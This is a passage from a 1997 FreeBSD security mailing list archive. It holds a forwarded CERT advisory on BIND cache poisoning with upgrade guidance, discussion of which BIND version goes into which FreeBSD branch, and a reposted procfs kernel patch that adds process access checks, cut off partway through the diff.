Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Wed Aug 13 15:23:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03106 for security-outgoing; Wed, 13 Aug 1997 15:23:16 -0700 (PDT) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA03085 for ; Wed, 13 Aug 1997 15:23:11 -0700 (PDT) Received: from boufa (blissful.cypress.org [207.139.115.179]) by oracle.dsuper.net (Delphi Sendmail 1.0/8.8.6) with ESMTP id SAA08680 for ; Wed, 13 Aug 1997 18:21:00 -0400 (EDT) Message-Id: <199708132221.SAA08680@oracle.dsuper.net> From: "Eve Koenning" To: Subject: Re: procfs patch Date: Wed, 13 Aug 1997 18:19:35 -0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Can someone please send me that patch as well please ? :) Thank you, Eve Koenning jedinyte@dsuper.net ---------- > From: Jonathan A. Zdziarski > To: security@FreeBSD.ORG > Subject: procfs patch > Date: 13 août, 1997 13:36 > > Sorry to bother y'all again, but could somebody email me a copy of the > RCS'd (second) procfs patch? Thanks. > > > ------------------------------------------------------------------------- > Jonathan A. Zdziarski NetRail Incorporated > Server Engineering Manager 230 Peachtree St. Suite 500 > jonz@netrail.net Atlanta, GA 30303 > http://www.netrail.net (888) - NETRAIL > ------------------------------------------------------------------------- From owner-freebsd-security Wed Aug 13 16:22:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA06441 for security-outgoing; Wed, 13 Aug 1997 16:22:42 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA06435 for ; Wed, 13 Aug 1997 16:22:38 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id QAA19308; Wed, 13 Aug 1997 16:22:13 -0700 (PDT) Message-Id: <199708132322.QAA19308@implode.root.com> To: Raul Zighelboim cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs hole (fwd) In-reply-to: Your message of "Wed, 13 Aug 1997 16:10:34 CDT." From: David Greenman Reply-To: dg@root.com Date: Wed, 13 Aug 1997 16:22:13 -0700 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >What are the pro/cons of having a /procfs mounted ? Procfs is used by ps(8) and w(1) to provide the command arguments. It is also used by the debugger, gdb. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Wed Aug 13 17:24:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09826 for security-outgoing; Wed, 13 Aug 1997 17:24:18 -0700 (PDT) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09815 for ; Wed, 13 Aug 1997 17:24:13 -0700 (PDT) Received: from localhost (breynolds@localhost) by ns2.harborcom.net (8.8.5/8.8.5) with SMTP id UAA14977; Wed, 13 Aug 1997 20:24:02 -0400 (EDT) Date: Wed, 13 Aug 1997 20:24:02 -0400 (EDT) From: "Bradley E. Reynolds" To: Jeff Aitken cc: freebsd-security@FreeBSD.ORG Subject: Re: post-break-in checklist? In-Reply-To: <199708120324.XAA27102@eagle.aitken.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As far as FreeBSD goes, I've got the CDs and know about mtree, but > I'm looking for a more generic "these are the sorts of things to > look for if you suspect a security violation" just to be sure I'm > not overlooking anything. (FWIW, the machine(s) which were > compromised have been reinstalled from scratch anyway). > > Additionally, where might I find a list of all "security" issuse > since 2.2.2-R was released? I looked in > > ftp://freebsd.org/pub/CERT/advisories > > but only turned up 4 advisories from 1997, all of which were patched > prior to the release of 2.2.2. > Well, try looking up the BUGTRAQ archives and be sure to look for things like BSD 4.4 also (you may have been looking for 2.2.2 or something like that). As for finding an intruder, look for setuid root shells and the like. Bradley Reynolds breynolds@harborcom.net ber@cwru.edu PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26 PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html From owner-freebsd-security Thu Aug 14 08:04:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA22081 for security-outgoing; Thu, 14 Aug 1997 08:04:03 -0700 (PDT) Received: from cwsys.cwent.com (66@cschuber.net.gov.bc.ca [142.31.240.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA22010; Thu, 14 Aug 1997 08:03:05 -0700 (PDT) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.7/8.6.10) id IAA01825; Thu, 14 Aug 1997 08:02:58 -0700 (PDT) Message-Id: <199708141502.IAA01825@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd001820; Thu Aug 14 15:02:47 1997 Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH X-Sender: cschuber To: freebsd-security@freebsd.org cc: security-officer@freebsd.org Subject: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Date: Thu, 14 Aug 1997 08:02:46 -0700 From: Cy Schubert Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This has been discussed on BUGTRAQ over the last 3-4 months. We now have a CERT advisory discussing this. When will BIND-8.1.1 be available in the 2.2 branch? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." ------- Forwarded Message Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.8.5/8.6.10) id NAA25117; Wed, 13 Aug 1997 13:02:43 -0700 (PDT) X-UIDL: 871568946.001 Resent-Message-Id: <199708132002.NAA25117@passer.osg.gov.bc.ca> Received: from localhost(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost, id smtpdAAAaaztva; Wed Aug 13 13:02:34 1997 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.8.5/8.6.10) id NAA26028 for ; Wed, 13 Aug 1997 13:02:33 -0700 (PDT) Received: from orca.gov.bc.ca(142.32.102.25) via SMTP by passer.osg.gov.bc.ca, id smtpdAAAaazrCa; Wed Aug 13 13:02:25 1997 Received: from coal.cert.org by orca.gov.bc.ca (5.4R3.10/200.1.1.4) id AA16658; Wed, 13 Aug 1997 13:02:14 -0700 Received: (from cert-advisory@localhost) by coal.cert.org (8.6.12/CERT) id PAA08088 for cert-advisory-queue-5; Wed, 13 Aug 1997 15:42:21 -0400 Date: Wed, 13 Aug 1997 15:42:21 -0400 Message-Id: <199708131942.PAA08088@coal.cert.org> From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Reply-To: cert-advisory-request@cert.org Organization: CERT(sm) Coordination Center - +1 412-268-7090 Resent-To: cy@passer.osg.gov.bc.ca, pblake@uumail.gov.bc.ca Resent-Date: Wed, 13 Aug 1997 13:02:34 -0700 Resent-From: Cy Schubert - ITSD Open Systems Group - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT* Advisory CA-97.22 Original issue date: August 13, 1997 Last revised: -- Topic: BIND - the Berkeley Internet Name Daemon - - ----------------------------------------------------------------------------- *** This advisory supersedes CA-96.02. *** Several vulnerabilities in the Berkeley Internet Name Daemon (BIND) have been fixed in the current version of BIND. One of those vulnerabilities is now being exploited, a vulnerability that results in cache poisoning (malicious or misleading data from a remote name server is saved [cached] by another name server). All versions of BIND before release 8.1.1 are vulnerable. The CERT/CC team recommends installing a patch from your vendor (See Appendix A). Until you can install a vendor patch, we recommend the workaround described in Section III.B. We also urge you to take the additional precautions described in Section III.C. We will update this advisory as we receive additional information. Please check our advisory files regularly for updates that relate to your site. - - ----------------------------------------------------------------------------- I. Description The Berkeley Internet Name Daemon (BIND) is an implementation of the Domain Name Service (DNS) written primarily for UNIX Systems. BIND consists of three parts: * The client part. This part contains subroutine libraries used by programs that require DNS services. Example clients of these libraries are telnet, the X Windows System, and ssh (the secure shell). The client part consists of subroutine libraries, header files, and manual pages. * The server part. This part contains the name server daemon (named) and its support program (named-xfer). These programs provide one source of the data used for mapping between host names and IP addresses. When appropriately configured, these name server daemons can interoperate across a network (the Internet for example) to provide the mapping services for that network. The server part consists of the daemon, its support programs and scripts, and manual pages. * The tools part. This part contains various tools for interrogating name servers in a network. They use the client part to extract information from those servers. The tools part consists of these interrogation tools and manual pages. As BIND has matured, several vulnerabilities in the client, server, and tools parts have been fixed. Among these is server cache poisoning. Cache poisoning occurs when malicious or misleading data received from a remote name server is saved (cached) by another name server. This "bad" data is then made available to programs that request the cached data through the client interface. Analysis of recent incidents reported to the CERT Coordination Center has shown that the cache poisoning technique is being used to adversely affect the mapping between host names and IP addresses. Once this mapping has been changed, any information sent between hosts on a network may be subjected to inspection, capture, or corruption. Although the new BIND distributions do address important security problems, not all known problems are fixed. In particular, several problems can be fixed only with the use of cryptographic authentication techniques. Implementing and deploying this solution is non-trivial; work on this task is currently underway within the Internet community. II. Impact The mapping between host names and IP addresses may be changed. As a result, attackers can inspect, capture, or corrupt the information exchanged between hosts on a network. III. Solution A. Obtain and install a patch for this problem. Information from vendors can be found in Appendix A of this advisory; we will update the appendix as we receive more information. B. Until you are able to install the appropriate patch, we recommend the following workaround. The "best practice" for operating the publicly available BIND system can be either: * a heterogeneous solution that involves first installing BIND release 4.9.6 and then release 8.1.1, or * a homogeneous solution that involves installing only BIND release 8.1.1. In the paragraphs below, we describe how to determine which solution you should use. 1. Shared Object Client Subroutine Library If your system and its programs rely on the shared object client subroutine library that comes with some releases of BIND, probably named libresolv.so, then you need the shared object subroutine library and other client software from release 4.9.6. (As of this writing, BIND version 8 does not yet support the client part as a shared object library.) This client software is available at ftp://ftp.isc.org/isc/bind/src/4.9.6/bind-4.9.6-REL.tar.gz MD5 (bind-4.9.6-REL.tar.gz) = 76dd66e920ad0638c8a37545a6531594 Follow the instructions in the file named INSTALL in the top-level directory. After installing this client part, install the server and tool parts from release 8.1.1. This software is available at ftp://ftp.isc.org/isc/bind/src/8.1.1/bind-src.tar.gz MD5 (bind-src.tar.gz) = 7487b8d647edba2053edc1cda0c6afd0 Follow the instructions in the src/INSTALL file. Note that this version will install the client libraries and header files in a non-standard place, /usr/local/lib and /usr/local/include. The src/INSTALL file describes what is being installed and where. When you install release 4.9.6 first, its client, server, and tools parts will be installed in the production locations. When you then install release 8.1.1, the server and tools parts will be overwritten by that release's versions, but the 4.9.6 client part will not. 2. No Shared Object Client Subroutine Library If you do not need the shared object client subroutine library, then you need only upgrade to release 8.1.1. This software is available at ftp://ftp.isc.org/isc/bind/src/8.1.1/bind-src.tar.gz MD5 (bind-src.tar.gz) = 7487b8d647edba2053edc1cda0c6afd0 Follow the instructions in src/INSTALL. Note that the client subroutine library and header files are installed in /usr/local/lib and /usr/local/include respectively. To use these when building other systems, you will need to refer to their installed locations. Note: ftp://ftp.isc.org/isc/bind/src/ is mirrored in Germany at ftp://ftp.cert.dfn.de/pub/tools/net/bind/src/ As new versions of BIND are released in the future, you will be able to find them at these sites, as well as other mirrors. You can also check ftp://info.cert.org/pub/latest_sw_versions/ for version information. C. Take additional precautions. As good security practice in general, filter at a router all name-based authentication services so that you do not rely on DNS information for authentication. This includes the services rlogin, rsh (rcp), xhost, NFS, and any other locally installed services that provide trust based on domain name information. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Cray Research - A Silicon Graphics Company =========================================== Cray Research has determined that the version of BIND shipped with all current releases of Unicos and Unicos/mk are susceptible to the problem described in this advisory. We are currently working on upgrading our version of BIND to the 4.9.6 release. Digital Equipment Corporation ============================= xref CASE ID: SSRT0494U At the time of writing this document, patches(binary kits) are in progress and final patch testing is expected to begin soon. Digital will provide notice of the completion/availability of the patches through AES services (DIA, DSNlink FLASH) and be available from your normal Digital Support channel. DIGITAL EQUIPMENT CORPORATION AUG/97 ----------------------------- ------ Hewlett-Packard Company ======================= HP is vulnerable. Patches in process. IBM Corporation =============== IBM is currently working on the following APARs which will be available soon: AIX 4.1: IX70236 AIX 4.2: IX70237 To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, reference URL: http://service.software.ibm.com/aixsupport/ or send e-mail to aixserv@austin.ibm.com with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. NEC Corporation =============== NEC is vulnerable. The systems affected by this problem are as follows: UX/4800 UX/4800(64) EWS-UX/V(Rel4.2MP) EWS-UX/V(Rel4.2) UP-UX/V(Rel4.2MP) Patches are in progress and will be made available from ftp://ftp.meshnet.or.jp/pub/48pub/security. Siemens-Nixdorf Informationssysteme AG ====================================== We are investigating this problem and will provide updated information for this advisory when it becomes available. The Santa Cruz Operation ======================== The following SCO operating systems are vulnerable: - SCO Open Desktop/Open Server 3.0, SCO UNIX 3.2v4 - SCO OpenServer 5.0 - SCO UnixWare 2.1 SCO CMW+ 3.0 is not vulnerable as bind is not supported on CMW+ platforms. SCO has made an interim fix available for anonymous ftp: ftp://ftp.sco.com/SSE/sse008.ltr.Z - cover letter ftp://ftp.sco.com/SSE/sse008.tar.Z - replacement binaries The fix includes binaries for the following SCO operating systems: - SCO Open Desktop/Open Server 3.0, SCO UNIX 3.2v4 - SCO OpenServer 5.0 - SCO UnixWare 2.1 Sun Microsystems, Inc. ====================== We are producing patches. - - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks Paul Vixie and Wolfgang Ley for their contributions to this advisory. - - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/). CERT/CC Contact Information - - ---------------------------- Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address - - --------------------------------------------------------------------------- Copyright 1997 Carnegie Mellon University. Conditions apply; they can be found in http://www.cert.org/legal_stuff.html and ftp://info.cert.org/pub/legal_stuff. If you do not have FTP or web access, send mail to cert@cert.org with "copyright" in the subject line. *CERT is registered in the U.S. Patent and Trademark Office. - - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-97.22.bind http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM/IEfHVP+x0t4w7BAQEIhgQAxnJF/2CgyiHANLM9bMkVJVsxixBQ2yIX 4pwaG91tu9d00jfYhOAvzIz95STNMM0Cr1mgn57FkElqDC8fOTLdrdzOrKBQVf11 v1oiIjEQaHX3CcP/gzzL0J+YKg7P1olF9QbNkPlDicgVzv+jLeTGcRcU9iv6Ug74 LXjZUF4Sr60= =aml2 - -----END PGP SIGNATURE----- ------- End of Forwarded Message From owner-freebsd-security Thu Aug 14 08:26:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23485 for security-outgoing; Thu, 14 Aug 1997 08:26:47 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA23415; Thu, 14 Aug 1997 08:25:56 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wz1mU-0000Wf-00; Thu, 14 Aug 1997 09:25:46 -0600 To: cschuber@uumail.gov.bc.ca Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Cc: freebsd-security@freebsd.org, security-officer@freebsd.org In-reply-to: Your message of "Thu, 14 Aug 1997 08:02:46 PDT." <199708141502.IAA01825@cwsys.cwent.com> References: <199708141502.IAA01825@cwsys.cwent.com> Date: Thu, 14 Aug 1997 09:25:46 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199708141502.IAA01825@cwsys.cwent.com> Cy Schubert writes: : This has been discussed on BUGTRAQ over the last 3-4 months. We now have a : CERT advisory discussing this. : : When will BIND-8.1.1 be available in the 2.2 branch? 8.1.1 isn't even in the -current branch yet, so one could conjecture that it will be a while. Bind 4.9.6 and Bind 8.1.1 have incompatible boot file formats, so adding 8.1.1 into the 2.2 branch, or even the -current banch, is complicated by compatibility concerns. 8.1.1 builds out of the box on a FreeBSD system. There have been efforts made to make it a port so it is even easier. Warner From owner-freebsd-security Thu Aug 14 09:45:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA28725 for security-outgoing; Thu, 14 Aug 1997 09:45:26 -0700 (PDT) Received: from precipice.shockwave.com (ppp-206-170-5-91.rdcy01.pacbell.net [206.170.5.91]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA28695; Thu, 14 Aug 1997 09:44:58 -0700 (PDT) Received: from shockwave.com (localhost [127.0.0.1]) by precipice.shockwave.com (8.8.6/8.7.3) with ESMTP id JAA21299; Thu, 14 Aug 1997 09:44:23 -0700 (PDT) Message-Id: <199708141644.JAA21299@precipice.shockwave.com> To: cschuber@uumail.gov.bc.ca cc: freebsd-security@freebsd.org, security-officer@freebsd.org Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon In-reply-to: Your message of "Thu, 14 Aug 1997 08:02:46 PDT." <199708141502.IAA01825@cwsys.cwent.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 14 Aug 1997 09:44:22 -0700 From: Paul Traina Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 8.1.1 will not be going into 2.2, it will go into -current. 4.9.6 will be going into 2.2. Paul From owner-freebsd-security Thu Aug 14 10:10:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00255 for security-outgoing; Thu, 14 Aug 1997 10:10:48 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00237 for ; Thu, 14 Aug 1997 10:10:41 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 21124 invoked by uid 1001); 14 Aug 1997 17:10:34 +0000 (GMT) To: imp@rover.village.org Cc: cschuber@uumail.gov.bc.ca, freebsd-security@FreeBSD.ORG, security-officer@FreeBSD.ORG Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon In-Reply-To: Your message of "Thu, 14 Aug 1997 09:25:46 -0600" References: X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Thu, 14 Aug 1997 19:10:34 +0200 Message-ID: <21122.871578634@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : This has been discussed on BUGTRAQ over the last 3-4 months. We now have a > : CERT advisory discussing this. > : > : When will BIND-8.1.1 be available in the 2.2 branch? > > 8.1.1 isn't even in the -current branch yet, so one could conjecture > that it will be a while. Bind 4.9.6 and Bind 8.1.1 have incompatible > boot file formats, so adding 8.1.1 into the 2.2 branch, or even the > -current banch, is complicated by compatibility concerns. > > 8.1.1 builds out of the box on a FreeBSD system. There have been > efforts made to make it a port so it is even easier. Also, note that according to Paul Vixie there is no real reason to upgrade to 8.1.1 because of the problems mentioned in this CERT advisory - 4.9.6 is fine. Steinar Haug, Nethelp consulting, sthaug@nethelp.no ---------------------------------------------------------------------- Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon From: Paul A Vixie To: cert-advisory-request@cert.org Cc: bind-workers@vix.com Date: Wed, 13 Aug 1997 14:06:46 -0700 Reply-To: Paul A Vixie I am still not happy with this text. People who just want to fix this problem should feel free to upgrade to 4.9.6, without touching 8.1.1 at all. From owner-freebsd-security Thu Aug 14 12:48:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08604 for security-outgoing; Thu, 14 Aug 1997 12:48:06 -0700 (PDT) Received: from mail.san.rr.com (san.rr.com [204.210.0.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08515; Thu, 14 Aug 1997 12:46:52 -0700 (PDT) Received: (from uucp@localhost) by mail.san.rr.com (8.8.7/8.8.7) id MAA20329; Thu, 14 Aug 1997 12:46:22 -0700 (PDT) Message-Id: <199708141946.MAA20329@mail.san.rr.com> Received: from dt5h1n61.san.rr.com(204.210.31.97) by mail via smap (V2.0) id xma020292; Thu, 14 Aug 97 12:46:13 -0700 From: "Studded" To: "cschuber@uumail.gov.bc.ca" , "Paul Traina" Cc: "freebsd-security@FreeBSD.ORG" , "security-officer@FreeBSD.ORG" Date: Thu, 14 Aug 97 12:45:49 -0700 Reply-To: "Studded" Priority: Normal X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997 09:44:22 -0700, Paul Traina wrote: >8.1.1 will not be going into 2.2, it will go into -current. >4.9.6 will be going into 2.2. This is great with the caveat that both -current and 2.2 need to continue to track the BIND 4.9.x distribution until such time as the 8.x distribution includes upgraded libs and include files that can be installed in the standard locations. Also, can someone respond privately to me (or on another list since it's not a security matter) how much of our stuff depends on the libs and include files from BIND? Thanks, Doug Do thou amend they face, and I'll amend my life. -Shakespeare, "Henry V" From owner-freebsd-security Thu Aug 14 13:22:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA11172 for security-outgoing; Thu, 14 Aug 1997 13:22:24 -0700 (PDT) Received: from roguetrader.com (brandon@cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA11137; Thu, 14 Aug 1997 13:21:47 -0700 (PDT) Received: from localhost (brandon@localhost) by roguetrader.com (8.8.5/8.8.5) with SMTP id OAA05240; Thu, 14 Aug 1997 14:21:58 -0600 (MDT) Date: Thu, 14 Aug 1997 14:21:58 -0600 (MDT) From: Brandon Gillespie To: Warner Losh cc: cschuber@uumail.gov.bc.ca, freebsd-security@FreeBSD.ORG, security-officer@FreeBSD.ORG Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997, Warner Losh wrote: > In message <199708141502.IAA01825@cwsys.cwent.com> Cy Schubert writes: > : This has been discussed on BUGTRAQ over the last 3-4 months. We now have a > : CERT advisory discussing this. > : > : When will BIND-8.1.1 be available in the 2.2 branch? > > 8.1.1 isn't even in the -current branch yet, so one could conjecture > that it will be a while. Bind 4.9.6 and Bind 8.1.1 have incompatible > boot file formats, so adding 8.1.1 into the 2.2 branch, or even the > -current banch, is complicated by compatibility concerns. Its really not that big of a problem. The _ONLY_ differences is that bind4 uses 'named.boot' and bind8 uses 'named.conf'. These two files happen to be completely different in format, but big deal. They are named differently, so you are not going to run into conflicts. Furthermore, there is a script given with bind8 that will convert a bind4 .boot to a .conf file. I run bind/named serving about 16 domains. I ran the conversion on my boot file, restarted with bind8 and everything worked fine--no problems whatsoever... > 8.1.1 builds out of the box on a FreeBSD system. There have been > efforts made to make it a port so it is even easier. I created a port, but missed the send-pr by a few hours on Justin Segar. Both ports are available at /FreeBSD/incoming (his are the bind-* mine is bind8-*). They are virtually identical, except mine also converts the boot file and adds an 'uninstall' program where you can revert back to bind4 (so it doesn't nuke anything existing). Regardless, the integration of the port hasn't moved anywhere (these were added on July 19/20). -Brandon Gillespie From owner-freebsd-security Thu Aug 14 13:41:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12221 for security-outgoing; Thu, 14 Aug 1997 13:41:09 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12211 for ; Thu, 14 Aug 1997 13:41:04 -0700 (PDT) From: Sean Eric Fagan Received: (from sef@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id NAA01094 for security; Thu, 14 Aug 1997 13:40:54 -0700 (PDT) Date: Thu, 14 Aug 1997 13:40:54 -0700 (PDT) Message-Id: <199708142040.NAA01094@freefall.freebsd.org> To: security@FreeBSD.ORG Subject: Since people didn't save the procfs patches Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk when I sent them out, and did not grab the new files, here they are again. These are -current; they should apply pretty easily to 2.2-ANYTHING, however -- the procfs files don't change all that often most of the time ;). Index: procfs.h =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v retrieving revision 1.15 retrieving revision 1.16 diff -u -r1.15 -r1.16 --- procfs.h 1997/02/22 09:40:26 1.15 +++ procfs.h 1997/08/12 04:34:27 1.16 @@ -37,7 +37,7 @@ * @(#)procfs.h 8.9 (Berkeley) 5/14/95 * * From: - * $Id: procfs.h,v 1.15 1997/02/22 09:40:26 peter Exp $ + * $Id: procfs.h,v 1.16 1997/08/12 04:34:27 sef Exp $ */ /* @@ -85,6 +85,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) Index: procfs_mem.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v retrieving revision 1.26 retrieving revision 1.27 diff -u -r1.26 -r1.27 --- procfs_mem.c 1997/08/02 14:32:14 1.26 +++ procfs_mem.c 1997/08/12 04:34:28 1.27 @@ -37,7 +37,7 @@ * * @(#)procfs_mem.c 8.5 (Berkeley) 6/15/94 * - * $Id: procfs_mem.c,v 1.26 1997/08/02 14:32:14 bde Exp $ + * $Id: procfs_mem.c,v 1.27 1997/08/12 04:34:28 sef Exp $ */ /* @@ -276,6 +276,23 @@ if (uio->uio_resid == 0) return (0); + + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && + uio->uio_rw == UIO_READ)) + return EPERM; return (procfs_rwmem(p, uio)); } Index: procfs_regs.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v retrieving revision 1.7 retrieving revision 1.8 diff -u -r1.7 -r1.8 --- procfs_regs.c 1997/08/02 14:32:16 1.7 +++ procfs_regs.c 1997/08/12 04:34:29 1.8 @@ -37,7 +37,7 @@ * @(#)procfs_regs.c 8.4 (Berkeley) 6/15/94 * * From: - * $Id: procfs_regs.c,v 1.7 1997/08/02 14:32:16 bde Exp $ + * $Id: procfs_regs.c,v 1.8 1997/08/12 04:34:29 sef Exp $ */ #include @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return 